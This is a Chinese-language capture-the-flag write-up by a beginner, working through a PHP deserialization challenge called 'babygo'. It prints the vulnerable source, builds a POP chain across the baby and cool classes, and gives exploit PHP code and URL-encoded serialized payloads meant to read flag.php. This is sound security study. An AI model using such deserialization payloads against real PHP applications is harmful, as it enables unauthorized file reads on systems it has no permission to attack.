web1-babygo
考察知识点:
- PHP反序列化
- POP链构造
由于还是个萌新…只会一点反序列化,还是第一次知道POP链构造,哭了
虽然没有写出来,但是想记录下这次学习的过程
参考链接:https://www.anquanke.com/post/id/170341
下面为题目源码
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./index.php");
}
?>
大致浏览一下后,
必须满足
$this->nice->aaa === $this->nice->bbb
而题目中给出
$this->nice->aaa = $sth
而aaa
但是关键代码在cool类的read方法中,但是baby类中调用的却是是sec类的read方法,这个时候就要用到POP链构造啦
POP链构造
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来
参考链接:POP的链构造
<?php
error_reporting(0);
//include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;//改为cool
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename='flag.php';
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
$test = new baby();
echo urlencode(serialize($test)).'<br>';
echo serialize($test);
echo '<br>';
?>
通过使用指针,这样bbb会跟随aaa动态改变
$a = new baby();
$a->bbb =&$a->aaa
则payload为:
O:4:"baby":3:{s:9:"*skyobj";O:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";R:6;}
url编码后:
O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D
最后的exp:
<?php
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;
}
function __toString()
{
if (isset($this->skyobj))
{
return $this->skyobj->read();
}
}
}
class cool
{
public $filename='./flag.php';
public $nice;
public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D';
}
$a = new baby();
// $a->bbb =&$a->aaa;
echo urlencode(serialize($a));
?>
最后的payload:
O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A227%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253BN%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BR%253A6%253B%257D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D